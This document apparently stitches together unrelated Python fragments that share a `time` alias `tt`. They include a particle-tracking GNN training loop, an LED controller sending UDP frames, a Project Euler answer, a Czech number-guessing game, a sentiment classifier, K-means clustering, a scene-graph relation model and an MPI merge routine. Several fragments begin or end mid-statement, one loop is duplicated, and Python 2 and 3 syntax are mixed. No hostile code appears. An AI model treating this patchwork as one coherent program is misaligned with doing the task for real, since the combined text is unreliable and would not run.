cluster_pur, train_loss = balanced_adjacent_train( model, train_loader, optimizer, multi_loss, m_configs) else: edge_acc, cluster_pur, train_loss = balanced_train( model, train_loader, optimizer, multi_loss, m_configs) # print("Training loss:", train_loss) model.eval() if args.adjacent: with torch.no_grad(): ( edge_acc, edge_pur, edge_eff, cluster_pur, cluster_eff, val_loss, av_nhood_size, ) = evaluate_adjacent(model, test_loader, multi_loss, m_configs) else: with torch.no_grad(): ( edge_acc, edge_pur, edge_eff, cluster_pur, cluster_eff, val_loss, av_nhood_size, ) = evaluate(model, test_loader, multi_loss, m_configs) scheduler.step() wandb.log({ "val_loss": val_loss, "train_loss": train_loss, "edge_acc": edge_acc, "edge_pur": edge_pur, "edge_eff": edge_eff, "cluster_pur": cluster_pur, "cluster_eff": cluster_eff, "lr": scheduler._last_lr[0], "combined_performance": edge_eff * cluster_eff * edge_pur + cluster_pur, "combined_efficiency": edge_eff * cluster_eff * edge_pur, "noise_1": multi_loss.noise_params[0].item(), "noise_2": multi_loss.noise_params[1].item(), "av_nhood_size": av_nhood_size, }) save_model( epoch, model, optimizer, scheduler, cluster_eff, m_configs, "EmbeddingToAGNN/" + model_name + ".tar", ) print( "Epoch: {}, Edge Accuracy: {:.4f}, Edge Purity: {:.4f}, Edge Efficiency: {:.4f}, Cluster Purity: {:.4f}, Cluster Efficiency: {:.4f}, Loss: {:.4f}, LR: {} in time {}" .format( epoch, edge_acc, edge_pur, edge_eff, cluster_pur, cluster_eff, val_loss, scheduler._last_lr, tt() - tic, ))
def main(args): # print(args) device = "cuda" if torch.cuda.is_available() else "cpu" # Dataset processing input_dir = "/global/cscratch1/sd/danieltm/ExaTrkX/trackml/train_all/" all_events = os.listdir(input_dir) all_events = [input_dir + event[:14] for event in all_events] np.random.shuffle(all_events) train_dataset = [ prepare_event(event_file, args.pt_cut, [1000, np.pi, 1000], args.adjacent) for event_file in all_events[:args.train_size] ] test_dataset = [ prepare_event(event_file, args.pt_cut, [1000, np.pi, 1000], args.adjacent) for event_file in all_events[-args.val_size:] ] train_loader = DataLoader(train_dataset, batch_size=1, shuffle=True) test_loader = DataLoader(test_dataset, batch_size=1, shuffle=True) # Model config e_configs = { "in_channels": 3, "emb_hidden": args.emb_hidden, "nb_layer": args.nb_layer, "emb_dim": args.emb_dim, } m_configs = { "in_channels": 3, "emb_hidden": args.emb_hidden, "nb_layer": args.nb_layer, "emb_dim": args.emb_dim, "r": args.r_val, "hidden_dim": args.hidden_dim, "n_graph_iters": args.n_graph_iters, } other_configs = { "weight": args.weight, "r_train": args.r_train, "r_val": args.r_val, "margin": args.margin, "reduction": "mean", } # Create and pretrain embedding embedding_model = models.Embedding(**e_configs).to(device) wandb.init(group="EmbeddingToAGNN_PurTimesEff", config=m_configs) embedding_optimizer = torch.optim.Adam(embedding_model.parameters(), lr=0.0005, weight_decay=1e-3, amsgrad=True) for epoch in range(args.pretrain_epochs): tic = tt() embedding_model.train() cluster_pur, train_loss = train_emb(embedding_model, train_loader, embedding_optimizer, other_configs) embedding_model.eval() with torch.no_grad(): cluster_pur, cluster_eff, val_loss, av_nhood_size = evaluate_emb( embedding_model, test_loader, other_configs) wandb.log({ "val_loss": val_loss, "train_loss": train_loss, "cluster_pur": cluster_pur, "cluster_eff": cluster_eff, "av_nhood_size": av_nhood_size, }) # Create and train main model model = getattr(models, args.model)(**m_configs, pretrained_model=embedding_model).to(device) multi_loss = models.MultiNoiseLoss(n_losses=2).to(device) m_configs.update(other_configs) wandb.run.save() print(wandb.run.name) model_name = wandb.run.name wandb.watch(model, log="all") # Optimizer config optimizer = torch.optim.AdamW( [ { "params": chain(model.emb_network_1.parameters(), model.emb_network_2.parameters()) }, { "params": chain( model.node_network.parameters(), model.edge_network.parameters(), model.input_feature_network.parameters(), ) }, { "params": multi_loss.noise_params }, ], lr=0.001, weight_decay=1e-3, amsgrad=True, ) # Scheduler config lambda1 = lambda ep: 1 / (args.lr_1**(ep // 10)) lambda2 = lambda ep: 1 / (args.lr_2**(ep // 30)) lambda3 = lambda ep: 1 / (args.lr_3**(ep // 10)) scheduler = torch.optim.lr_scheduler.LambdaLR( optimizer, lr_lambda=[lambda1, lambda2, lambda3]) # Training loop for epoch in range(50): tic = tt() model.train() if args.adjacent: edge_acc, cluster_pur, train_loss = balanced_adjacent_train( model, train_loader, optimizer, multi_loss, m_configs) else: edge_acc, cluster_pur, train_loss = balanced_train( model, train_loader, optimizer, multi_loss, m_configs) # print("Training loss:", train_loss) model.eval() if args.adjacent: with torch.no_grad(): ( edge_acc, edge_pur, edge_eff, cluster_pur, cluster_eff, val_loss, av_nhood_size, ) = evaluate_adjacent(model, test_loader, multi_loss, m_configs) else: with torch.no_grad(): ( edge_acc, edge_pur, edge_eff, cluster_pur, cluster_eff, val_loss, av_nhood_size, ) = evaluate(model, test_loader, multi_loss, m_configs) scheduler.step() wandb.log({ "val_loss": val_loss, "train_loss": train_loss, "edge_acc": edge_acc, "edge_pur": edge_pur, "edge_eff": edge_eff, "cluster_pur": cluster_pur, "cluster_eff": cluster_eff, "lr": scheduler._last_lr[0], "combined_performance": edge_eff * cluster_eff * edge_pur + cluster_pur, "combined_efficiency": edge_eff * cluster_eff * edge_pur, "noise_1": multi_loss.noise_params[0].item(), "noise_2": multi_loss.noise_params[1].item(), "av_nhood_size": av_nhood_size, }) save_model( epoch, model, optimizer, scheduler, cluster_eff, m_configs, "EmbeddingToAGNN/" + model_name + ".tar", )
def _wrapped(*args, **kwargs): t1 = tt() result = func(*args, **kwargs) t2 = tt() logger.info('Ran %s in time %f' % (func.__name__, t2 - t1)) return result
def update(): global update_time, timmer, qframe, qtimmer, controller, FPS scale = 15 brightness = 255 if controller and controller.outlets[0] is not None: i = 0 for q in range(4): #print "q", q msg = "" if controller.outlets[i] is None: return outlet = np.fromstring(controller.outlets[i], dtype=np.uint8) numlights = len(outlet) / 3 if numlights < 200: msg = ''.join(chr(v * brightness / 255) for v in outlet) msg = msg + ''.join([chr(0)] * ((200 - numlights) * 3)) else: msg = ''.join(chr(v * brightness / 255) for v in outlet[0:600]) i = i + 1 outlet = np.fromstring(controller.outlets[i], dtype=np.uint8) numlights = len(outlet) / 3 if numlights < 200: msg = msg + ''.join(chr(v * brightness / 255) for v in outlet) msg = msg + ''.join([chr(0)] * ((200 - numlights) * 3)) else: msg = msg + ''.join( chr(v * brightness / 255) for v in outlet[0:600]) i = i + 1 #print content['IP_'+str(i+1)] #print content['Controller'+str(i+1)] #msg = ''.join( [chr(255)] * ((400)*3)) if content['Controller' + str(q + 1)]: #print msg try: #print len(msg), content['IP_'+str(q+1)] sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP #sock.setsockopt(socket.IPPROTO_IP,socket.IP_TTL,4) #sock.setsockopt(socket.IPPROTO_IP, socket.IP_TTL,10) sock.sendto(msg, (content['IP_' + str(q + 1)], UDP_PORT)) except socket.error as e: print "socket error {} at device: {} ({})".format( e, q + q, content['IP_' + str(q + 1)]) #controller sol brightness = 255 msg = "" outlet = np.fromstring(controller.outlets[5], dtype=np.uint8) numlights = len(outlet) / 3 if numlights < 200: msg = msg + ''.join([chr(0)] * ((200) * 3)) else: if numlights < 400: #print len(outlet) print(numlights - 200) * 3 #print "-----------------" msg = ''.join(chr(v * brightness / 255) for v in outlet[600:]) msg = msg + ''.join([chr(0)] * ((200 - (numlights - 200)) * 3)) print "A" else: msg = msg + ''.join( chr(v * brightness / 255) for v in outlet[600:1200]) print "B" msg = msg + msg if content['Controller5']: try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP sock.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, 4) sock.sendto(msg, (content['IP_5'], UDP_PORT)) except socket.error as e: print "socket error {} at device: {} ({})".format( e, q + q, content['IP_5']) #---------- #FPS check #if qframe >= FPS-1: # qframe = 0 # print tt() - qtimmer # qtimmer = tt() # print "------------------" #else: # qframe = qframe + 1; #-------- #-------- #FPS limiter: actual = tt() elapsed = actual - timmer #30 fps --> 1/30 diff = update_time - elapsed if diff > 0: time.sleep(diff) timmer = tt() FPS = content['FPS_LIMIT'] update_time = 1.0 / FPS
def sum_nums_multiples_of_three_or_five(num): """ project euler problem 1 : Multiples of 3 and 5 :param num: The number up to which one has to list all the numbers which are multiples of either 3 or 5 and return their sum :return:the sum of all the numbers """ # Step 1: given a number, check each number from 0 until that number if it is divisible by 3 or 5 # Step 2: If a number of divisible, append it to a list. # without numpy # num_list = [] # for x in range(1, num): # if (x % 3 == 0) or (x % 5 == 0): # num_list.append(x) # # return sum(num_list) # with numpy num_list_full = np.array(list(range(1, num))) num_list_reduced = num_list_full[(num_list_full % 3 == 0) | (num_list_full % 5 == 0)] return sum(num_list_reduced) startT = tt() print(sum_nums_multiples_of_three_or_five(1000)) endT = tt() print(endT - startT)
print(tisk) print("Návrat do menu za 10 sekund") sleep(10) settings["menu_volba"] = 0 while int(settings.get("menu_volba")) == 1: idif = int(settings.get("dif_delka")) idif1 = int(settings.get("dif_pokusy")) #generátor čísla n = range(0, 10) while n[0] == 0: n = list(random.sample(n, k=idif)) #tělo hry print( f"{sep}\nVygeneroval jsem číslo o délce {idif}, příjemnou zábavu\nZbývá pokusů {idif1}\nPro ukončení kdykoli napiš exit\n{sep}" ) t_start = tt() #timer pokus = True while pokus: nguess = input(f"Tipněte si číslo o délce {idif}: ") if nguess == "exit": print("Kolo ukončeno") settings["pokusy_kolo"] = 0 pokus = False break else: while len(nguess) != idif or nguess.isdigit( ) != True or nguess[0] == "0" or dupe(nguess) == True: print(f"Chybný vstup, zadej číslo o délce {idif}") nguess = input(f"Tipněte si číslo o délce {idif}: ") bull, poradi, cow = 0, 0, 0 settings["pokusy_kolo"] += 1
return hero_times <= enemy_times def make_shop(s): with open(s) as f: items = [] for line in f.readlines(): args = line.rstrip().split() i = {} i['cost'] = int(args[-3]) i['damage'] = int(args[-2]) i['armor'] = int(args[-1]) items.append(i) return items t = tt() weapons = make_shop('weapons.txt') armors = make_shop('armor.txt') rings = make_shop('rings.txt') n = {'cost':0, 'damage':0, 'armor':0} armors.append(n) rings.append(n) with open('input.txt') as f: boss = {} boss['hp'] = int(f.readline().rstrip().split()[-1]) boss['damage'] = int(f.readline().rstrip().split()[-1]) boss['armor'] = int(f.readline().rstrip().split()[-1]) max_cost = -1 min_cost = 10000 for eq_list in product(weapons, armors, rings, rings):
training_set, testing_set = [], [] else: featuresets = common_functions.doc_process( file_name, documents, word_features) random.shuffle(featuresets) training_set, testing_set = tt_split(featuresets, percent_train) classifiers, classifier_accuracies = try_train_all_classifiers( file_name, classifiers_to_use, training_set, testing_set) print('\n', classifier_accuracies) acc_values = [classifier_accuracies[key] for key in classifier_accuracies.keys() if key in classifiers_to_use] print(acc_values) voted_classifier = eval( 'VoteClassifier(' + generate_class_inp_str(classifiers) + ')') def sentiment(text): feats = common_functions.find_features(text, word_features) # return voted_classifier.classify(feats), voted_classifier.confidence(feats) return voted_classifier.classify_w(feats, acc_values), voted_classifier.confidence(feats) if __name__ == '__main__': from time import time as tt t_1 = tt() print(sentiment("good item, handy tool, would recommend")) print(sentiment("useless, breaky easily, avoid!")) print(tt() - t_1, ' s')
def process_dataset(dataset, number, save_dir, model, ratio, train=True): for i, batch in enumerate(dataset[:number]): tic = tt() if not os.path.exists(os.path.join(save_dir, batch.event_file[-4:])): data = batch.to(device) spatial = model(torch.cat([data.cell_data, data.x], axis=-1)) e_spatial = build_edges(spatial, 1.4, 1024, res) # Get the truth graphs e_bidir = torch.cat( [ batch.layerless_true_edges, torch.stack( [batch.layerless_true_edges[1], batch.layerless_true_edges[0]], axis=1, ).T, ], axis=-1, ) # Get random edge list e_spatial = build_edges(spatial, 1.4, 1024, res) # Remove duplicate edges by distance from vertex R_dist = torch.sqrt(batch.x[:, 0] ** 2 + batch.x[:, 2] ** 2) e_spatial = e_spatial[:, (R_dist[e_spatial[0]] < R_dist[e_spatial[1]])] e_spatial, y = graph_intersection(e_spatial, e_bidir) # Re-introduce random direction, to avoid training bias random_flip = torch.randint(2, (e_spatial.shape[1],)).bool() e_spatial[0, random_flip], e_spatial[1, random_flip] = ( e_spatial[1, random_flip], e_spatial[0, random_flip], ) batch.embedding = spatial.cpu().detach() if train and ( ratio != 0 ): # Sample only ratio:1 fake:true edges, to keep trainset manageable num_true = y.sum() fake_indices = choice( np.where(~y)[0], int(num_true * ratio), replace=True ) true_indices = np.where(y)[0] combined_indices = np.concatenate([true_indices, fake_indices]) shuffle(combined_indices) batch.e_radius = e_spatial[:, combined_indices].cpu() batch.y = torch.from_numpy(y[combined_indices]).float() else: batch.e_radius = e_spatial.cpu() batch.y = torch.from_numpy(y).float() with open( os.path.join(save_dir, batch.event_file[-4:]), "wb" ) as pickle_file: torch.save(batch, pickle_file) print( i, "saved in time", tt() - tic, "with efficiency", (batch.y.sum() / batch.layerless_true_edges.shape[1]).item(), "and purity", (batch.y.sum() / batch.e_radius.shape[1]).item(), ) else: print(i, "already built")
def KMeans(x, K=10, Niter=10, verbose=True): """Implements Lloyd's algorithm for the Euclidean metric.""" use_cuda = torch.cuda.is_available() dtype = torch.float32 if use_cuda else torch.float64 start = tt() N, D = x.shape # Number of samples, dimension of the ambient space c = x[:K, :].clone() # Simplistic initialization for the centroids # print(c) x_i = LazyTensor(x.view(N, 1, D)) # (N, 1, D) samples c_j = LazyTensor(c.view(1, K, D)) # (1, K, D) centroids # K-means loop: # - x is the (N, D) point cloud, # - cl is the (N,) vector of class labels # - c is the (K, D) cloud of cluster centroids for i in range(Niter): # E step: assign points to the closest cluster ------------------------- D_ij = ((x_i - c_j)**2).sum(-1) # (N, K) symbolic squared distances cl = D_ij.argmin(dim=1).long().view(-1) # Points -> Nearest cluster cl_indices = torch.argsort(cl) cl_sorted = cl[cl_indices] _, counts = torch.unique(cl_sorted, return_counts=True, sorted=True) cl_indices_split = cl_indices.split(tuple(counts)) buckets = [] for bucket in cl_indices_split: buckets.append(torch.combinations(bucket)) buckets_cat = torch.cat(buckets).t() dist = torch.sum((x[buckets_cat[0]] - x[buckets_cat[1]])**2, axis=-1) r = 0.4 r_mask = dist < r**2 edges = buckets_cat[:, r_mask] # M step: update the centroids to the normalized cluster average: ------ # Compute the sum of points per cluster: # c.zero_() # c.scatter_add_(0, cl[:, None].repeat(1, D), x) # # Divide by the number of points per cluster: # Ncl = torch.bincount(cl, minlength=K).type_as(c).view(K, 1) # c /= Ncl # in-place division to compute the average if verbose: # Fancy display ----------------------------------------------- if use_cuda: torch.cuda.synchronize() # print(cl_indices_split) print("Bucket size:", buckets_cat.shape) print("Edge size:", edges.shape) print("Average edge num:", edges.shape[1] / len(x)) end = tt() print( f"K-means for the Euclidean metric with {N:,} points in dimension {D:,}, K = {K:,}:" ) print("Timing for {} iterations: {:.5f}s = {} x {:.5f}s\n".format( Niter, end - start, Niter, (end - start) / Niter)) return cl, c
def forward(self, x, im_sizes, image_offset, gt_boxes=None, gt_classes=None, gt_rels=None, proposals=None, train_anchor_inds=None, return_fmap=False): """ Forward pass for Relation detection Args: x: Images@[batch_size, 3, IM_SIZE, IM_SIZE] im_sizes: A numpy array of (h, w, scale) for each image. image_offset: Offset onto what image we're on for MGPU training (if single GPU this is 0) parameters for training: gt_boxes: [num_gt, 4] GT boxes over the batch. gt_classes: [num_gt, 2] gt boxes where each one is (img_id, class) gt_rels: proposals: train_anchor_inds: a [num_train, 2] array of indices for the anchors that will be used to compute the training loss. Each (img_ind, fpn_idx) return_fmap: Returns: If train: scores, boxdeltas, labels, boxes, boxtargets, rpnscores, rpnboxes, rellabels If test: prob dists, boxes, img inds, maxscores, classes """ s_t = time.time() verbose = False def check(sl, een, sst=s_t): if verbose: print('{}{}'.format(sl, een - sst)) result = self.detector(x, im_sizes, image_offset, gt_boxes, gt_classes, gt_rels, proposals, train_anchor_inds, return_fmap=True) check('detector', tt()) assert not result.is_none(), 'Empty detection result' # image_offset refer to Blob # self.batch_size_per_gpu * index im_inds = result.im_inds - image_offset boxes = result.rm_box_priors obj_scores, box_classes = F.softmax( result.rm_obj_dists[:, 1:].contiguous(), dim=1).max(1) box_classes += 1 # TODO: predcls implementation obj_scores and box_classes num_img = im_inds[-1] + 1 # embed(header='rel_model.py before rel_assignments') if self.training and result.rel_labels is None: assert self.mode == 'sgdet' # only in sgdet mode # shapes: # im_inds: (box_num,) # boxes: (box_num, 4) # rm_obj_labels: (box_num,) # gt_boxes: (box_num, 4) # gt_classes: (box_num, 2) maybe[im_ind, class_ind] # gt_rels: (rel_num, 4) # image_offset: integer result.rel_labels = rel_assignments(im_inds.data, boxes.data, result.rm_obj_labels.data, gt_boxes.data, gt_classes.data, gt_rels.data, image_offset, filter_non_overlap=True, num_sample_per_gt=1) rel_inds = self.get_rel_inds(result.rel_labels, im_inds, boxes) rois = torch.cat((im_inds[:, None].float(), boxes), 1) # union boxes feats (NumOfRels, obj_dim) union_box_feats = self.visual_rep(result.fmap.detach(), rois, rel_inds[:, 1:].contiguous()) # single box feats (NumOfBoxes, feats) box_feats = self.obj_feature_map(result.fmap.detach(), rois) # box spatial feats (NumOfBox, 4) box_pair_feats = self.fuse_message(union_box_feats, boxes, box_classes, rel_inds) box_pair_score = self.relpn_fc(box_pair_feats) if self.training: # sampling pos and neg relations here for training rel_sample_pos, rel_sample_neg = 0, 0 pn_rel_label, pn_pair_score = list(), list() for i, s, e in enumerate_by_image( result.rel_labels[:, 0].data.contiguous()): im_i_rel_label = result.rel_labels[s:e].contiguous() im_i_box_pair_score = box_pair_score[s:e].contiguous() im_i_rel_fg_inds = torch.nonzero( im_i_rel_label[:, -1].contiguous()).squeeze() im_i_rel_fg_inds = im_i_rel_fg_inds.data.cpu().numpy() im_i_fg_sample_num = min(RELEVANT_PER_IM, im_i_rel_fg_inds.shape[0]) if im_i_rel_fg_inds.size > 0: im_i_rel_fg_inds = np.random.choice( im_i_rel_fg_inds, size=im_i_fg_sample_num, replace=False) im_i_rel_bg_inds = torch.nonzero( im_i_rel_label[:, -1].contiguous() == 0).squeeze() im_i_rel_bg_inds = im_i_rel_bg_inds.data.cpu().numpy() im_i_bg_sample_num = min(EDGES_PER_IM - im_i_fg_sample_num, im_i_rel_bg_inds.shape[0]) if im_i_rel_bg_inds.size > 0: im_i_rel_bg_inds = np.random.choice( im_i_rel_bg_inds, size=im_i_bg_sample_num, replace=False) #print('{}/{} fg/bg in image {}'.format(im_i_fg_sample_num, im_i_bg_sample_num, i)) rel_sample_pos += im_i_fg_sample_num rel_sample_neg += im_i_bg_sample_num im_i_keep_inds = np.append(im_i_rel_fg_inds, im_i_rel_bg_inds) im_i_pair_score = im_i_box_pair_score[ im_i_keep_inds.tolist()].contiguous() im_i_rel_pn_labels = Variable( torch.zeros(im_i_fg_sample_num + im_i_bg_sample_num).type( torch.LongTensor).cuda(x.get_device())) im_i_rel_pn_labels[:im_i_fg_sample_num] = 1 pn_rel_label.append(im_i_rel_pn_labels) pn_pair_score.append(im_i_pair_score) result.rel_pn_dists = torch.cat(pn_pair_score, 0) result.rel_pn_labels = torch.cat(pn_rel_label, 0) result.rel_sample_pos = torch.Tensor([rel_sample_pos]).cuda( im_i_rel_label.get_device()) result.rel_sample_neg = torch.Tensor([rel_sample_neg]).cuda( im_i_rel_label.get_device()) box_pair_relevant = F.softmax(box_pair_score, dim=1) box_pos_pair_ind = torch.nonzero(box_pair_relevant[:, 1].contiguous( ) > box_pair_relevant[:, 0].contiguous()).squeeze() if box_pos_pair_ind.data.shape == torch.Size([]): return None #print('{}/{} trim edges'.format(box_pos_pair_ind.size(0), rel_inds.size(0))) result.rel_trim_pos = torch.Tensor([box_pos_pair_ind.size(0)]).cuda( box_pos_pair_ind.get_device()) result.rel_trim_total = torch.Tensor([rel_inds.size(0) ]).cuda(rel_inds.get_device()) if self.trim_graph: # filtering relations filter_rel_inds = rel_inds[box_pos_pair_ind.data] filter_box_pair_feats = box_pair_feats[box_pos_pair_ind.data] else: filter_rel_inds = rel_inds filter_box_pair_feats = box_pair_feats if self.training: if self.trim_graph: filter_rel_labels = result.rel_labels[box_pos_pair_ind.data] else: filter_rel_labels = result.rel_labels num_gt_filtered = torch.nonzero(filter_rel_labels[:, -1]) if num_gt_filtered.shape == torch.Size([]): num_gt_filtered = 0 else: num_gt_filtered = num_gt_filtered.size(0) num_gt_orignial = torch.nonzero(result.rel_labels[:, -1]).size(0) result.rel_pn_recall = torch.Tensor( [num_gt_filtered / num_gt_orignial]).cuda(x.get_device()) result.rel_labels = filter_rel_labels check('trim', tt()) # message passing between boxes and relations if self.mode in ('sgcls', 'sgdet'): for _ in range(self.mp_iter_num): box_feats = self.message_passing(box_feats, filter_box_pair_feats, filter_rel_inds) box_cls_scores = self.cls_fc(box_feats) result.rm_obj_dists = box_cls_scores obj_scores, box_classes = F.softmax( box_cls_scores[:, 1:].contiguous(), dim=1).max(1) box_classes += 1 # skip background check('mp', tt()) # RelationCNN filter_box_pair_feats_fc1 = self.relcnn_fc1(filter_box_pair_feats) filter_box_pair_score = self.relcnn_fc2(filter_box_pair_feats_fc1) result.rel_dists = filter_box_pair_score pred_scores_stage_one = F.softmax(result.rel_dists, dim=1).data # filter_box_pair_feats is to be added to memory if self.training: padded_filter_feats, pack_lengths, re_filter_rel_inds, padded_rel_labels = \ self.pad_sequence( filter_rel_inds, filter_box_pair_feats_fc1, rel_labels=result.rel_labels ) else: padded_filter_feats, pack_lengths, re_filter_rel_inds, padded_rel_inds = \ self.pad_sequence( filter_rel_inds, filter_box_pair_feats_fc1 ) # trimming zeros to avoid no rel in image trim_pack_lengths = np.trim_zeros(pack_lengths) trim_padded_filter_feats = padded_filter_feats[:trim_pack_lengths. shape[0]] packed_filter_feats = pack_padded_sequence(trim_padded_filter_feats, trim_pack_lengths, batch_first=True) if self.training: trim_padded_rel_labels = padded_rel_labels[:trim_pack_lengths. shape[0]] packed_rel_labels = pack_padded_sequence(trim_padded_rel_labels, trim_pack_lengths, batch_first=True) rel_mem_dists = self.mem_module(inputs=packed_filter_feats, rel_labels=packed_rel_labels) rel_mem_dists = self.re_order_packed_seq(rel_mem_dists, filter_rel_inds, re_filter_rel_inds) result.rel_mem_dists = rel_mem_dists else: trim_padded_rel_inds = padded_rel_inds[:trim_pack_lengths.shape[0]] packed_rel_inds = pack_padded_sequence(trim_padded_rel_inds, trim_pack_lengths, batch_first=True) rel_mem_dists = self.mem_module(inputs=packed_filter_feats, rel_inds=packed_rel_inds, obj_classes=box_classes) rel_mem_probs = self.re_order_packed_seq(rel_mem_dists, filter_rel_inds, re_filter_rel_inds) rel_mem_probs = rel_mem_probs.data check('mem', tt()) if self.training: return result # pad stage one output in rel_mem_probs if it sums zero for rel_i in range(rel_mem_probs.size(0)): rel_i_probs = rel_mem_probs[rel_i] if rel_i_probs.sum() == 0: rel_mem_probs[rel_i] = pred_scores_stage_one[rel_i] """ filter_dets boxes: bbox regression else [num_box, 4] obj_scores: [num_box] probabilities for the scores obj_classes: [num_box] class labels integer rel_inds: [num_rel, 2] TENSOR consisting of (im_ind0, im_ind1) pred_scores: [num_rel, num_predicates] including irrelevant class(#relclass + 1) """ check('mem processing', tt()) return filter_dets(boxes, obj_scores, box_classes, filter_rel_inds[:, 1:].contiguous(), rel_mem_probs)
def run(self,comm,timing=False): from mpi4py import MPI rank = comm.Get_rank() size = comm.Get_size() from time import time as tt merge_op = MPI.Op.Create(self.mpi_merge_op, commute=True) # set things up if rank == 0: if timing: print "SETUP START RANK=%d TIME=%f"%(rank,tt()) self.initialize() self.validate() self.read_models() scaler_master = self.scaler_class( miller_set=self.miller_set, i_model=self.i_model, params=self.params, log=self.out) scaler_master.mpi_initialize(self.frame_files) transmitted_info = dict(file_names=self.frame_files, miller_set=self.miller_set, model = self.i_model, params = self.params ) if timing: print "SETUP END RANK=%d TIME=%f"%(rank,tt()) else: if timing: print "SETUP START RANK=%d TIME=%f"%(rank,tt()) transmitted_info = None if timing: print "SETUP END RANK=%d TIME=%f"%(rank,tt()) if timing: print "BROADCAST START RANK=%d TIME=%f"%(rank,tt()) transmitted_info = comm.bcast(transmitted_info, root = 0) if timing: print "BROADCAST END RANK=%d TIME=%f"%(rank,tt()) # now actually do the work if timing: print "SCALER_WORKER_SETUP START RANK=%d TIME=%f"%(rank,tt()) scaler_worker = self.scaler_class(transmitted_info["miller_set"], transmitted_info["model"], transmitted_info["params"], log = sys.stdout) if timing: print "SCALER_WORKER_SETUP END RANK=%d TIME=%f"%(rank,tt()) assert scaler_worker.params.backend == 'FS' # only option that makes sense from xfel.merging.database.merging_database_fs import manager2 as manager db_mgr = manager(scaler_worker.params) file_names = [transmitted_info["file_names"][i] for i in xrange(len(transmitted_info["file_names"])) if i%size == rank] if timing: print "SCALER_WORKERS START RANK=%d TIME=%f"%(rank, tt()) scaler_worker._scale_all_serial(file_names, db_mgr) if timing: print "SCALER_WORKERS END RANK=%d TIME=%f"%(rank, tt()) scaler_worker.finished_db_mgr = db_mgr # might want to clean up a bit before returning del scaler_worker.log #del scaler_worker.params del scaler_worker.miller_set del scaler_worker.i_model del scaler_worker.reverse_lookup if timing: print "SCALER_WORKERS_REDUCE START RANK=%d TIME=%f"%(rank, tt()) scaler_workers = comm.reduce(scaler_worker, op=merge_op, root=0) if timing: print "SCALER_WORKERS_REDUCE END RANK=%d TIME=%f"%(rank, tt()) MPI.Finalize() if rank == 0: if timing: print "SCALER_MASTER_ADD START RANK=%d TIME=%f"%(rank, tt()) scaler_master._add_all_frames(scaler_workers) if timing: print "SCALER_MASTER_ADD END RANK=%d TIME=%f"%(rank, tt()) for call_instance in scaler_workers.finished_db_mgr.sequencer: if call_instance["call"] == "insert_frame": if timing: print "SCALER_MASTER_INSERT_FRAME START RANK=%d TIME=%f"%(rank, tt()) frame_id_zero_base = scaler_master.master_db_mgr.insert_frame(**call_instance["data"]) if timing: print "SCALER_MASTER_INSERT_FRAME END RANK=%d TIME=%f"%(rank, tt()) elif call_instance["call"] == "insert_observation": if timing: print "SCALER_MASTER_INSERT_OBS START RANK=%d TIME=%f"%(rank, tt()) call_instance["data"]['frame_id_0_base'] = [frame_id_zero_base] * len(call_instance["data"]['frame_id_0_base']) scaler_master.master_db_mgr.insert_observation(**call_instance["data"]) if timing: print "SCALER_MASTER_INSERT_OBS END RANK=%d TIME=%f"%(rank, tt()) if timing: print "SCALER_MASTER_FINALISE START RANK=%d TIME=%f"%(rank, tt()) scaler_master.master_db_mgr.join() # database written, finalize the manager scaler_master.mpi_finalize() if timing: print "SCALER_MASTER_FINALISE END RANK=%d TIME=%f"%(rank, tt()) return self.finalize(scaler_master)